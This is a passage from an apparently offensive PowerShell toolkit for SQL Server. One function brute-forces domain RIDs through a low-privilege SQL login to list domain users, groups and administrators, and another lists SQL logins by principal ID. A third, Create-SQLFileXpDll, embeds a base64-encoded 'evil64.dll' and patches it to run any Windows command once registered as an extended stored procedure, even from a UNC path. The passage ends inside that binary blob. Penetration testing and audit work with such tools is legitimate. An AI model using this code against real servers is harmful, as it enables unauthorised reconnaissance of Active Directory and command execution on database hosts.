SQLServer1\STANDARDDEV2014 121 ##Agent XPs## SQLServer1 SQLServer1\STANDARDDEV2014 122 ##SQL Mail XPs## SQLServer1 SQLServer1\STANDARDDEV2014 123 ##Database Mail XPs## SQLServer1 SQLServer1\STANDARDDEV2014 124 ##SMO and DMO XPs## SQLServer1 SQLServer1\STANDARDDEV2014 125 ##Ole Automation Procedures## SQLServer1 SQLServer1\STANDARDDEV2014 126 ##Web Assistant Procedures## SQLServer1 SQLServer1\STANDARDDEV2014 127 ##xp_cmdshell## SQLServer1 SQLServer1\STANDARDDEV2014 128 ##Ad Hoc Distributed Queries## SQLServer1 SQLServer1\STANDARDDEV2014 129 ##Replication XPs## SQLServer1 SQLServer1\STANDARDDEV2014 257 ##MS_PolicyTsqlExecutionLogin## SQLServer1 SQLServer1\STANDARDDEV2014 259 Domain\User SQLServer1 SQLServer1\STANDARDDEV2014 260 NT SERVICE\SQLWriter SQLServer1 SQLServer1\STANDARDDEV2014 261 NT SERVICE\Winmgmt SQLServer1 SQLServer1\STANDARDDEV2014 262 NT Service\MSSQL$STANDARDDEV2014 SQLServer1 SQLServer1\STANDARDDEV2014 263 NT AUTHORITY\SYSTEM SQLServer1 SQLServer1\STANDARDDEV2014 264 NT SERVICE\SQLAgent$STANDARDDEV2014 SQLServer1 SQLServer1\STANDARDDEV2014 265 NT SERVICE\ReportServer$STANDARDDEV2014 SQLServer1 SQLServer1\STANDARDDEV2014 266 ##MS_PolicyEventProcessingLogin## SQLServer1 SQLServer1\STANDARDDEV2014 267 ##MS_AgentSigningCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 268 MySQLUser1 SQLServer1 SQLServer1\STANDARDDEV2014 270 MySQLUser2 SQLServer1 SQLServer1\STANDARDDEV2014 271 MySQLUser3 SQLServer1 SQLServer1\STANDARDDEV2014 272 MySysadmin1 SQLServer1 SQLServer1\STANDARDDEV2014 273 Domain\User2 SQLServer1 SQLServer1\STANDARDDEV2014 274 MySysadmin2 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Principal ID to start fuzzing with.')] [string]$StartId = 1, [Parameter(Mandatory = $false, HelpMessage = 'Principal ID to stop fuzzing on.')] [string]$EndId = 300, [Parameter(Mandatory = $false, HelpMessage = 'Try to determine if the principal type is role, SQL login, or Windows account via error analysis of sp_defaultdb.')] [switch]$GetPrincipalType, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblFuzzedLogins = New-Object -TypeName System.Data.DataTable $null = $TblFuzzedLogins.Columns.add('ComputerName') $null = $TblFuzzedLogins.Columns.add('Instance') $null = $TblFuzzedLogins.Columns.add('PrincipalId') $null = $TblFuzzedLogins.Columns.add('PrincipleName') if($GetPrincipalType) { $null = $TblFuzzedLogins.Columns.add('PrincipleType') } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose -Message "$Instance : Enumerating principal names from principal IDs.." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Fuzz from StartId to EndId $StartId..$EndId | ForEach-Object -Process { # Define Query $Query = "SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], '$_' as [PrincipalId], SUSER_NAME($_) as [PrincipleName]" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # check if principal is role, sql login, or windows account $PrincipalName = $TblResults.PrincipleName $PrincipalId = $TblResults.PrincipalId if($GetPrincipalType) { $RoleCheckQuery = "EXEC master..sp_defaultdb '$PrincipalName', 'NOTAREALDATABASE1234ABCD'" $RoleCheckResults = Get-SQLQuery -Instance $Instance -Query $RoleCheckQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -ReturnError # Check the error message for a signature that means the login is real if (($RoleCheckResults -like '*NOTAREALDATABASE*') -or ($RoleCheckResults -like '*alter the login*')) { # if($PrincipalName -like '*\*') { $PrincipalType = 'Windows Account' } else { $PrincipalType = 'SQL Login' } } else { $PrincipalType = 'SQL Server Role' } } # Output for user if(-not $SuppressVerbose) { if($PrincipalName.length -ge 2) { Write-Verbose -Message "$Instance : - Principal ID $_ resolved to: $PrincipalName ($PrincipalType)" } else { Write-Verbose -Message "$Instance : - Principal ID $_ resolved to: " } } # Append results #$TblFuzzedLogins = $TblFuzzedLogins + $TblResults if($GetPrincipalType) { $null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName, $PrincipalType) } else { $null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName) } } } End { # Return data $TblFuzzedLogins | Where-Object -FilterScript { $_.PrincipleName.length -ge 2 } } } # ---------------------------------- # Get-SQLFuzzDomainAccount # ---------------------------------- # Author: Scott Sutherland Function Get-SQLFuzzDomainAccount { <# .SYNOPSIS Enumerates domain groups, computer accounts, and user accounts based on domain RID using SUSER_SNAME() and only the Public role. Note: In a typical domain 10000 or more is recommended for the EndId. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER StartId RID to start fuzzing with. .PARAMETER EndId RID to stop fuzzing with. .EXAMPLE PS C:\> Get-SQLFuzzDomainAccount -Instance SQLServer1\STANDARDDEV2014 -Verbose -StartId 500 -EndId 1500 VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success. VERBOSE: SQLServer1\STANDARDDEV2014 : Enumerating Domain accounts from the SQL Server's default domain... VERBOSE: SQLServer1\STANDARDDEV2014 : RID 0x010500000000000515000000A132413243431431326051C0f4010000 (500) Resolved to: Domain\Administrator VERBOSE: SQLServer1\STANDARDDEV2014 : RID 0x010500000000000515000000A132413243431431326051C0f5010000 (501) Resolved to: Domain\Guest VERBOSE: SQLServer1\STANDARDDEV2014 : RID 0x010500000000000515000000A132413243431431326051C0f6010000 (502) Resolved to: Domain\krbtgt [TRUNCATED] ComputerName Instance DomainAccount ------------ -------- ------------- SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Administrator SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Guest SQLServer1 SQLServer1\STANDARDDEV2014 Domain\krbtgt SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Domain Guests SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Domain Computers SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Domain Controllers SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Cert Publishers SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Schema Admins SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Enterprise Admins SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Group Policy Creator Owners SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Read-only Domain Controllers SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Cloneable Domain Controllers SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Protected Users SQLServer1 SQLServer1\STANDARDDEV2014 Domain\RAS and IAS Servers SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Allowed RODC Password Replication Group SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Denied RODC Password Replication Group SQLServer1 SQLServer1\STANDARDDEV2014 Domain\HelpServicesGroup [TRUNCATED] SQLServer1 SQLServer1\STANDARDDEV2014 Domain\MyUser SQLServer1 SQLServer1\STANDARDDEV2014 Domain\MyDAUser SQLServer1 SQLServer1\STANDARDDEV2014 Domain\MyEAUser #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Principal ID to start fuzzing with.')] [string]$StartId = 500, [Parameter(Mandatory = $false, HelpMessage = 'Principal ID to stop fuzzing on.')] [string]$EndId = 1000, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblFuzzedAccounts = New-Object -TypeName System.Data.DataTable } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose -Message "$Instance : Enumerating Domain accounts from the SQL Server's default domain..." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Grab server information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $ComputerName = $ServerInfo.ComputerName $Instance = $ServerInfo.Instance $Domain = $ServerInfo.DomainName $DomainGroup = "$Domain\Domain Admins" $DomainGroupSid = Get-SQLQuery -Instance $Instance -Query "select SUSER_SID('$DomainGroup') as DomainGroupSid" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $DomainGroupSidBytes = $DomainGroupSid | Select-Object -Property domaingroupsid -ExpandProperty domaingroupsid $DomainGroupSidString = [System.BitConverter]::ToString($DomainGroupSidBytes).Replace('-','').Substring(0,48) # Fuzz from StartId to EndId $StartId..$EndId | ForEach-Object -Process { # Convert to Principal ID to hex $PrincipalIDHex = '{0:x}' -f $_ # Get number of characters $PrincipalIDHexPad1 = $PrincipalIDHex | Measure-Object -Character $PrincipalIDHexPad2 = $PrincipalIDHexPad1.Characters # Check if number is even and fix leading 0 if needed If([bool]($PrincipalIDHexPad2%2)) { $PrincipalIDHexFix = "0$PrincipalIDHex" } # Reverse the order of the hex $GroupsOfTwo = $PrincipalIDHexFix -split '(..)' | Where-Object -FilterScript { $_ } $GroupsOfTwoR = $GroupsOfTwo | Sort-Object -Descending $PrincipalIDHexFix2 = $GroupsOfTwoR -join '' # Pad to 8 bytes $PrincipalIDPad = $PrincipalIDHexFix2.PadRight(8,'0') # Create users rid $Rid = "0x$DomainGroupSidString$PrincipalIDPad" # Define Query $Query = "SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], '$Rid' as [RID], SUSER_SNAME($Rid) as [DomainAccount]" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $DomainAccount = $TblResults.DomainAccount if($DomainAccount.length -ge 2) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - RID $Rid ($_) resolved to: $DomainAccount" } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - RID $Rid ($_) resolved to: " } } # Append results $TblFuzzedAccounts = $TblFuzzedAccounts + $TblResults } } End { # Return data $TblFuzzedAccounts | Select-Object -Property ComputerName, Instance, DomainAccount -Unique | Where-Object -FilterScript { $_.DomainAccount -notlike '' } } } # ------------------------------------------- # Function: Get-ComputerNameFromInstance # ------------------------------------------ # Author: Scott Sutherland Function Get-ComputerNameFromInstance { <# .SYNOPSIS Parses computer name from a provided instance. .PARAMETER Instance SQL Server instance to parse. .EXAMPLE PS C:\> Get-ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 SQLServer1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance.')] [string]$Instance ) # Parse ComputerName from provided instance If ($Instance) { $ComputerName = $Instance.split('\')[0].split(',')[0] } else { $ComputerName = $env:COMPUTERNAME } Return $ComputerName } # ------------------------------------------- # Function: Get-SQLServiceLocal # ------------------------------------------- # Author: Scott Sutherland Function Get-SQLServiceLocal { <# .SYNOPSIS Returns local SQL Server services using Get-WmiObject -Class win32_service. This can only be run against the local server. .EXAMPLE PS C:\> Get-SQLServiceLocal | Format-Table -AutoSize ComputerName ServiceDisplayName ServiceName ServicePath ------------ ------------------ ----------- ----------- SQLServer1 SQL Server Integration Services 12.0 MsDtsServer120 "C:\Program Files\Microsoft SQL Server\120\DTS\Binn\MsDt... SQLServer1 SQL Server Analysis Services (STANDARDDEV2014) MSOLAP$STANDARDDEV2014 "C:\Program Files\Microsoft SQL Server\MSAS12.STANDARDDE... SQLServer1 SQL Server (SQLEXPRESS) MSSQL$SQLEXPRESS "C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRES... SQLServer1 SQL Server (STANDARDDEV2014) MSSQL$STANDARDDEV2014 "C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDD... SQLServer1 SQL Full-text Filter Daemon Launcher (MSSQLSERVER) MSSQLFDLauncher "C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERV... SQLServer1 SQL Full-text Filter Daemon Launcher (SQLEXPRESS) MSSQLFDLauncher$SQLEXPRESS "C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRES... SQLServer1 SQL Full-text Filter Daemon Launcher (STANDARDDEV2014) MSSQLFDLauncher$STANDARDDEV2014 "C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDD... SQLServer1 SQL Server (MSSQLSERVER) MSSQLSERVER "C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERV... SQLServer1 SQL Server Analysis Services (MSSQLSERVER) MSSQLServerOLAPService "C:\Program Files\Microsoft SQL Server\MSAS12.MSSQLSERVE... SQLServer1 SQL Server Reporting Services (MSSQLSERVER) ReportServer "C:\Program Files\Microsoft SQL Server\MSRS12.MSSQLSERVE... SQLServer1 SQL Server Reporting Services (SQLEXPRESS) ReportServer$SQLEXPRESS "C:\Program Files\Microsoft SQL Server\MSRS12.SQLEXPRESS... SQLServer1 SQL Server Reporting Services (STANDARDDEV2014) ReportServer$STANDARDDEV2014 "C:\Program Files\Microsoft SQL Server\MSRS12.STANDARDDE... SQLServer1 SQL Server Distributed Replay Client SQL Server Distributed Replay Client "C:\Program Files (x86)\Microsoft SQL Server\120\Tools\D... SQLServer1 SQL Server Distributed Replay Controller SQL Server Distributed Replay Controller "C:\Program Files (x86)\Microsoft SQL Server\120\Tools\D... SQLServer1 SQL Server Agent (SQLEXPRESS) SQLAgent$SQLEXPRESS "C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRES... SQLServer1 SQL Server Agent (STANDARDDEV2014) SQLAgent$STANDARDDEV2014 "C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDD... SQLServer1 SQL Server Browser SQLBrowser "C:\Program Files (x86)\Microsoft SQL Server\90\Shared\s... SQLServer1 SQL Server Agent (MSSQLSERVER) SQLSERVERAGENT "C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERV... SQLServer1 SQL Server VSS Writer SQLWriter "C:\Program Files\Microsoft SQL Server\90\Shared\sqlwrit... #> Begin { # Table for output $TblLocalInstances = New-Object -TypeName System.Data.DataTable $null = $TblLocalInstances.Columns.Add('ComputerName') $null = $TblLocalInstances.Columns.Add('ServiceDisplayName') $null = $TblLocalInstances.Columns.Add('ServiceName') $null = $TblLocalInstances.Columns.Add('ServicePath') $null = $TblLocalInstances.Columns.Add('ServiceAccount') $null = $TblLocalInstances.Columns.Add('ServiceState') } Process { # Grab SQL Server services based on file path $SqlServices = Get-WmiObject -Class win32_service | Where-Object -FilterScript { $_.pathname -like '*Microsoft SQL Server*' } | Select-Object -Property DisplayName, PathName, Name, StartName, State, SystemName # Add recrds to SQL Server instance table $SqlServices | ForEach-Object -Process { $null = $TblLocalInstances.Rows.Add( [string]$_.SystemName, [string]$_.DisplayName, [string]$_.Name, [string]$_.PathName, [string]$_.StartName, [string]$_.State) } } End { # Status User $LocalInstanceCount = $TblLocalInstances.rows.count # Return data $TblLocalInstances } } # ------------------------------------------- # Function: Create-SQLFileXpDll # ------------------------------------------- function Create-SQLFileXpDll { <# .SYNOPSIS This script can be used to generate a DLL file with an exported function that can be registered as an extended stored procedure in SQL Server. The exported function can be configured to run any Windows command. This script is intended to be used to test basic SQL Server audit controls around the sp_addextendedproc and sp_dropextendedproc stored procedures used to register and unregister extended stored procedures. .PARAMETER ExportName Name of the exported function that will be created. .PARAMETER Command Operating system command that the exported function will run. .PARAMETER OutFile Name of the Dll file to write to. .EXAMPLE PS C:\temp> Create-SQLFileXpDll -OutFile c:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test Creating DLL c:\temp\test.dll - Exported function name: xp_test - Exported function command: "echo test > c:\temp\test.txt" - DLL written - Manual test: rundll32 c:\temp\test.dll,xp_test SQL Server Notes The exported function can be registered as a SQL Server extended stored procedure. Options below: - Register xp via local disk: sp_addextendedproc 'xp_test', 'c:\temp\myxp.dll' - Register xp via UNC path: sp_addextendedproc 'xp_test', '\\servername\pathtofile\myxp.dll' - Unregister xp: sp_dropextendedproc 'xp_test' .LINK http://en.cppreference.com/w/cpp/utility/program/system http://www.netspi.com .NOTES The extended stored procedure template used to create the DLL shell was based on the following stackoverflow post: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure Modified source code used to create the DLL can be found at the link below: https://github.com/nullbind/Powershellery/blob/master/Stable-ish/MSSQL/xp_evil_template.cpp The method used to patch the DLL was based on Will Schroeder "Invoke-PatchDll" function found in the PowerUp toolkit: https://github.com/HarmJ0y/PowerUp #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'Operating system command to run.')] [string]$Command, [Parameter(Mandatory = $false, HelpMessage = 'Name of exported function.')] [string]$ExportName, [Parameter(Mandatory = $false, HelpMessage = 'Dll file to write to.')] [string]$OutFile ) # ----------------------------------------------- # Define the DLL file and command to be executed # ----------------------------------------------- # This is the base64 encoded evil64.dll -command: base64 -w 0 evil64.dll > evil64.dll.b64 $DllBytes64 = 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